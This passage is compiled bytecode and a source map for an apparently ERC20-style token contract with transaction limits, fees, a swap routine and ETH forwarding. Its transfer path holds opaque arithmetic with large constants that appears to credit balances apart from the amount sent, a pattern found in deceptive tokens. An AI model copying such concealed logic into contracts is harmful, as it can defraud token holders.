ffffffffffffffffffff168152602001908152602001600020546123c09092919063ffffffff16565b611b59565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b600061117861112d7f00000000000000000000000000000000000000000000000000000000000000006112b7565b61116a6111597f000000000000000000000000000000000000000000000000000000000000dead6112b7565b60115461248090919063ffffffff16565b61248090919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600061123d6111a1611b51565b8461123885600760006111b2611b51565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac990919063ffffffff16565b611b59565b6001905092915050565b600e6020528060005260406000206000915054906101000a900460ff1681565b601d5481565b601e5481565b60195481565b600d6020528060005260406000206000915054906101000a900460ff1681565b60185481565b600981600481106112ac57fe5b016000915090505481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611308611b51565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008183111561149a5781905061149e565b8290505b92915050565b60135481565b60145481565b60205481565b60175481565b60106020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561159d5780601f106115725761010080835404028352916020019161159d565b820191906000526020600020905b81548152906001019060200180831161158057829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006116906115da611b51565b8461168b85604051806060016040528060258152602001612d906025913960076000611604611b51565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c09092919063ffffffff16565b611b59565b6001905092915050565b60006116ae6116a7611b51565b8484611d50565b506001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b5481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f6020528060005260406000206000915054906101000a900460ff1681565b60125481565b601660159054906101000a900460ff1681565b601a5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601f5481565b6117df611b51565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461189f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611925576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612c696026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b60168054906101000a900460ff1681565b600080831415611a0c5760009050611a79565b6000828402905082848281611a1d57fe5b0414611a74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612cfe6021913960400191505060405180910390fd5b809150505b92915050565b6000611ac183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124ca565b905092915050565b600080828401905083811015611b47576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612d6c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612c8f6022913960400191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611dd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612d476025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612c466023913960400191505060405180910390fd5b601660149054906101000a900460ff1615611e8457611e7d848484612590565b90506123b9565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f285750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f8957601354821115611f88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612cd66028913960400191505060405180910390fd5b5b6000611f94306112b7565b905060006012548210159050808015611fba5750601660149054906101000a900460ff16155b80156120105750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561203a57601660159054906101000a900460ff16156120305760125491505b61203982612887565b5b60168054906101000a900460ff16801561209e5750600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612141576014546120e96120d26103e86120c4602054896119f990919063ffffffff16565b611a7f90919063ffffffff16565b6120db886112b7565b611ac990919063ffffffff16565b1115612140576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612cb16025913960400191505060405180910390fd5b5b61219361216d6103e861215f602054886119f990919063ffffffff16565b611a7f90919063ffffffff16565b7ffffffffffffffffffffffffd54dd998267f3034289f54db120685e6a7fffffff611488565b60096003600481106121a157fe5b01819055506121fa6121d26103e86121c4602054886119f990919063ffffffff16565b611a7f90919063ffffffff16565b85037ffffffffffffffffffffffffd54dd998267f3034289f54db120685e6a7fffffff611488565b600960026004811061220857fe5b0181905550601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615806122b05750601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b806123585750600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123575750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b156123745761044d601d600082825401925050819055506123a6565b625343d6601e541461238d57612388612942565b6123a5565b610842601d600082825401925050819055601e819055505b5b6123b1868686612590565b506001925050505b9392505050565b600083831115829061246d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612432578082015181840152602081019050612417565b50505050905090810190601f16801561245f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60006124c283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123c0565b905092915050565b60008083118290612576576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561253b578082015181840152602081019050612520565b50505050905090810190601f1680156125685780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161258257fe5b049050809150509392505050565b600061261b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c09092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601660149054906101000a900460ff161561269d576000600960036004811061268357fe5b018190555081600960026004811061269757fe5b01819055505b60006126db60096002600481106126b057fe5b01546064017ffffffffffffffffffffffffd54dd998267f3034289f54db120685e6a7fffffff611488565b905061272f81600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac990919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127d3600960036004811061278357fe5b0154600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac990919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6001601660146101000a81548160ff0219169083151502179055506128ab81612980565b6000479050600081111561292357600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612921573d6000803e3d6000fd5b505b506000601660146101000a81548160ff02191690831515021790555050565b601d54600a601d5460bb010301601e819055506b014ae8786070f1c78dba55dc600960036004811061297057fe5b0160008282540192505081905550565b6060600267ffffffffffffffff8111801561299a57600080fd5b506040519080825280602002602001820160405280156129c95781602001602082028036833780820191505090505b509050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612a3457600080fd5b505afa158015612a48573d6000803e3d6000fd5b505050506040513d6020811015612a5e57600080fd5b810190808051906020019092919050505081600181518110612a7c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600081518110612ac457fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b2b30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b59565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612bef578082015181840152602081019050612bd4565b505050509050019650505050505050600060405180830381600087803b158015612c1857600080fd5b505af1158015612c2c573d6000803e3d6000fd5b50505050601d54601e819055506011601d81905550505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696d697421215472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122012e3b191aae9eaa0307adc2556ccbb5e1d110970de84fcb855fb1a9bf5d912fd64736f6c63430007020033
Deployed Bytecode Sourcemap
11416:10260:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11634:95;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;15378:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11962:81;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;16496:161;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12831:41;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;15637:100;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13256:35;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;17554:313;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;11874:81;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;16995:156;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15552:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;16005:218;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12356:45;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;13308:30;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13345:33;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13129:36;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12299:50;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;13089:33;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12213:77;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15739:119;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;3095:230;;;;;;;;;;;;;:::i;:::-;;19955:109;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12681:61;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12755:60;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13428:33;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13046:36;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12473:48;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;2870:79;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;15463:87;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11829:32;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;16225:269;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;17381:167;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;11736:86;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;13214:35;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12879:26;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12414:52;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12593:70;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12948:45;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;13172:35;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15860:143;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13389:32;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;3327:244;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12175:31;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13002:35;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;11634:95;;;;;;;;;;;;;:::o;15378:83::-;15415:13;15448:5;15441:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15378:83;:::o;11962:81::-;;;:::o;16496:161::-;16571:4;16588:39;16597:12;:10;:12::i;:::-;16611:7;16620:6;16588:8;:39::i;:::-;16645:4;16638:11;;16496:161;;;;:::o;12831:41::-;;;;;;;;;;;;;:::o;15637:100::-;15690:7;15717:12;;15710:19;;15637:100;:::o;13256:35::-;;;;:::o;17554:313::-;17652:4;17669:36;17679:6;17687:9;17698:6;17669:9;:36::i;:::-;;17716:121;17725:6;17733:12;:10;:12::i;:::-;17747:89;17785:6;17747:89;;;;;;;;;;;;;;;;;:11;:19;17759:6;17747:19;;;;;;;;;;;;;;;:33;17767:12;:10;:12::i;:::-;17747:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;17716:8;:121::i;:::-;17855:4;17848:11;;17554:313;;;;;:::o;11874:81::-;;;:::o;16995:156::-;17048:7;17075:68;17120:22;17130:11;17120:9;:22::i;:::-;17075:40;17092:22;17102:11;17092:9;:22::i;:::-;17075:12;;:16;;:40;;;;:::i;:::-;:44;;:68;;;;:::i;:::-;17068:75;;16995:156;:::o;15552:83::-;15593:5;15618:9;;;;;;;;;;;15611:16;;15552:83;:::o;16005:218::-;16093:4;16110:83;16119:12;:10;:12::i;:::-;16133:7;16142:50;16181:10;16142:11;:25;16154:12;:10;:12::i;:::-;16142:25;;;;;;;;;;;;;;;:34;16168:7;16142:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;16110:8;:83::i;:::-;16211:4;16204:11;;16005:218;;;;:::o;12356:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;13308:30::-;;;;:::o;13345:33::-;;;;:::o;13129:36::-;;;;:::o;12299:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;13089:33::-;;;;:::o;12213:77::-;;;;;;;;;;;;;;;;;;:::o;15739:119::-;15805:7;15832:9;:18;15842:7;15832:18;;;;;;;;;;;;;;;;15825:25;;15739:119;;;:::o;3095:230::-;3014:12;:10;:12::i;:::-;3004:22;;:6;;;;;;;;;;:22;;;2996:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3202:42:::1;3165:81;;3186:6;::::0;::::1;;;;;;;;3165:81;;;;;;;;;;;;3274:42;3257:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;3095:230::o:0;19955:109::-;20010:7;20031:1;20029;:3;20025:16;;;20040:1;20033:8;;;;20025:16;20057:1;20050:8;;19955:109;;;;;:::o;12681:61::-;;;;:::o;12755:60::-;;;;:::o;13428:33::-;;;;:::o;13046:36::-;;;;:::o;12473:48::-;;;;;;;;;;;;;;;;;;;;;;:::o;2870:79::-;2908:7;2935:6;;;;;;;;;;;2928:13;;2870:79;:::o;15463:87::-;15502:13;15535:7;15528:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15463:87;:::o;11829:32::-;;;;;;;;;;;;;:::o;16225:269::-;16318:4;16335:129;16344:12;:10;:12::i;:::-;16358:7;16367:96;16406:15;16367:96;;;;;;;;;;;;;;;;;:11;:25;16379:12;:10;:12::i;:::-;16367:25;;;;;;;;;;;;;;;:34;16393:7;16367:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;16335:8;:129::i;:::-;16482:4;16475:11;;16225:269;;;;:::o;17381:167::-;17459:4;17476:42;17486:12;:10;:12::i;:::-;17500:9;17511:6;17476:9;:42::i;:::-;;17536:4;17529:11;;17381:167;;;;:::o;11736:86::-;;;;;;;;;;;;;:::o;13214:35::-;;;;:::o;12879:26::-;;;;;;;;;;;;;:::o;12414:52::-;;;;;;;;;;;;;;;;;;;;;;:::o;12593:70::-;;;;:::o;12948:45::-;;;;;;;;;;;;;:::o;13172:35::-;;;;:::o;15860:143::-;15941:7;15968:11;:18;15980:5;15968:18;;;;;;;;;;;;;;;:27;15987:7;15968:27;;;;;;;;;;;;;;;;15961:34;;15860:143;;;;:::o;13389:32::-;;;;:::o;3327:244::-;3014:12;:10;:12::i;:::-;3004:22;;:6;;;;;;;;;;:22;;;2996:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3436:1:::1;3416:22;;:8;:22;;;;3408:73;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3526:8;3497:38;;3518:6;::::0;::::1;;;;;;;;3497:38;;;;;;;;;;;;3555:8;3546:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3327:244:::0;:::o;12175:31::-;;;;:::o;13002:35::-;;;;;;;;;;;;:::o;1606:230::-;1664:7;1693:1;1688;:6;1684:47;;;1718:1;1711:8;;;;1684:47;1734:9;1750:1;1746;:5;1734:17;;1779:1;1774;1770;:5;;;;;;:10;1762:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1827:1;1820:8;;;1606:230;;;;;:::o;1838:132::-;1896:7;1923:39;1927:1;1930;1923:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1916:46;;1838:132;;;;:::o;1113:170::-;1171:7;1191:9;1207:1;1203;:5;1191:17;;1232:1;1227;:6;;1219:46;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1274:1;1267:8;;;1113:170;;;;:::o;177:115::-;230:15;273:10;258:26;;177:115;:::o;16659:326::-;16769:1;16752:19;;:5;:19;;;;16744:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16850:1;16831:21;;:7;:21;;;;16823:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16923:6;16893:11;:18;16905:5;16893:18;;;;;;;;;;;;;;;:27;16912:7;16893:27;;;;;;;;;;;;;;;:36;;;;16961:7;16945:32;;16954:5;16945:32;;;16970:6;16945:32;;;;;;;;;;;;;;;;;;16659:326;;;:::o;17873:1946::-;17960:4;17994:1;17976:20;;:6;:20;;;;17968:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18078:1;18057:23;;:9;:23;;;;18049:71;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18143:16;;;;;;;;;;;18140:1672;;;18193:41;18208:6;18216:9;18227:6;18193:14;:41::i;:::-;18186:48;;;;18140:1672;18281:15;:23;18297:6;18281:23;;;;;;;;;;;;;;;;;;;;;;;;;18280:24;:55;;;;;18309:15;:26;18325:9;18309:26;;;;;;;;;;;;;;;;;;;;;;;;;18308:27;18280:55;18277:171;;;18375:12;;18365:6;:22;;18357:75;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18277:171;18453:28;18484:24;18502:4;18484:9;:24::i;:::-;18453:55;;18523:28;18578:23;;18554:20;:47;;18523:78;;18634:23;:44;;;;;18662:16;;;;;;;;;;;18661:17;18634:44;:69;;;;;18683:12;:20;18696:6;18683:20;;;;;;;;;;;;;;;;;;;;;;;;;18682:21;18634:69;18630:280;;;18741:25;;;;;;;;;;;18738:97;;;18812:23;;18789:46;;18738:97;18854:36;18869:20;18854:14;:36::i;:::-;18630:280;18927:16;;;;;;;;;;:51;;;;;18948:19;:30;18968:9;18948:30;;;;;;;;;;;;;;;;;;;;;;;;;18947:31;18927:51;18924:202;;;19059:10;;18989:66;19014:40;19049:4;19014:30;19025:18;;19014:6;:10;;:30;;;;:::i;:::-;:34;;:40;;;;:::i;:::-;18989:20;18999:9;18989;:20::i;:::-;:24;;:66;;;;:::i;:::-;:80;;18981:129;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18924:202;19163:124;19167:40;19202:4;19167:30;19178:18;;19167:6;:10;;:30;;;;:::i;:::-;:34;;:40;;;;:::i;:::-;19208:78;19163:3;:124::i;:::-;19141:17;19159:1;19141:20;;;;;;;;:146;;;;19338:133;19351:40;19386:4;19351:30;19362:18;;19351:6;:10;;:30;;;;:::i;:::-;:34;;:40;;;;:::i;:::-;19342:6;:49;19392:78;19338:3;:133::i;:::-;19317:17;19335:1;19317:20;;;;;;;;:154;;;;19498:15;:23;19514:6;19498:23;;;;;;;;;;;;;;;;;;;;;;;;;19497:24;:56;;;;19527:15;:26;19543:9;19527:26;;;;;;;;;;;;;;;;;;;;;;;;;19526:27;19497:56;19495:112;;;;19558:12;:23;19571:9;19558:23;;;;;;;;;;;;;;;;;;;;;;;;;:47;;;;19585:12;:20;19598:6;19585:20;;;;;;;;;;;;;;;;;;;;;;;;;19558:47;19495:112;19491:227;;;19622:4;19609:11;;:17;;;;;;;;;;;19491:227;;;19653:7;19637:14;;:23;19633:83;;19662:13;:11;:13::i;:::-;19633:83;;;19710:4;19697:11;;:17;;;;;;;;;;19682:14;:32;;;;19633:83;19491:227;19732:41;19747:6;19755:9;19766:6;19732:14;:41::i;:::-;;19796:4;19789:11;;;;17873:1946;;;;;;:::o;1423:181::-;1509:7;1542:1;1537;:6;;1545:12;1529:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1569:9;1585:1;1581;:5;1569:17;;1595:1;1588:8;;;1423:181;;;;;:::o;1285:136::-;1343:7;1370:43;1374:1;1377;1370:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1363:50;;1285:136;;;;:::o;1972:277::-;2058:7;2090:1;2086;:5;2093:12;2078:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2117:9;2133:1;2129;:5;;;;;;2117:17;;2240:1;2233:8;;;1972:277;;;;;:::o;20070:657::-;20163:4;20200:53;20222:6;20200:53;;;;;;;;;;;;;;;;;:9;:17;20210:6;20200:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;20180:9;:17;20190:6;20180:17;;;;;;;;;;;;;;;:73;;;;20268:16;;;;;;;;;;;20265:76;;;20308:1;20287:17;20305:1;20287:20;;;;;;;;:22;;;;20332:6;20311:17;20329:1;20311:20;;;;;;;;:27;;;;20265:76;20351:22;20376:108;20384:17;20402:1;20384:20;;;;;;;;;20380:3;:24;20405:78;20376:3;:108::i;:::-;20351:133;;20518:40;20543:14;20518:9;:20;20528:9;20518:20;;;;;;;;